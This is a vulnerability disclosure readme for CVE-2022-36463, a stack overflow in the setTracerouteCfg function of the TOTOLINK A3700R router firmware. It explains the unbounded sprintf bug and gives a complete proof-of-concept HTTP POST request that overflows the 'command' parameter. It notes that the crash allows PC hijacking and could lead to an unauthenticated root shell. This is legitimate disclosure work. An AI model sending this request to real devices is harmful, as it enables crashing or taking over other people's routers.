Headline
CVE-2022-36463: vuln/readme.md at main · Darry-lang1/vuln
TOTOLINK A3700R V9.1.2u.6134_B20201202 was discovered to contain a stack overflow via the command parameter in the function setTracerouteCfg.
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TOTOLink A3700R V9.1.2u.6134_B20201202 has a stack overflow vulnerability****Overview
- Manufacturer’s website information：https://www.totolink.net/
- Firmware download address ： http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=69&ids=36
Product Information
TOTOLink A3700R V9.1.2u.6134_B20201202 router, the latest version of simulation overview：
Vulnerability details
Var is formatted into V6 through sprintf function, and Var is the value of command we enter. The size of the format string is not limited, resulting in stack overflow.
Recurring vulnerabilities and POC
In order to reproduce the vulnerability, the following steps can be followed:
Boot the firmware by qemu-system or other ways (real machine)
Attack with the following POC attacks
POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: application/json, text/javascript, /; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Length: 561 Origin: http://192.168.0.1 DNT: 1 Connection: close Cookie: SESSION_ID=2:1658224702:2 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Pragma: no-cache Cache-Control: no-cache
{"topicurl": "setting/setTracerouteCfg","command": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}
The above figure shows the POC attack effect
As shown in the figure above, we can hijack PC registers.
Finally, you can write exp to get a stable root shell without authorization.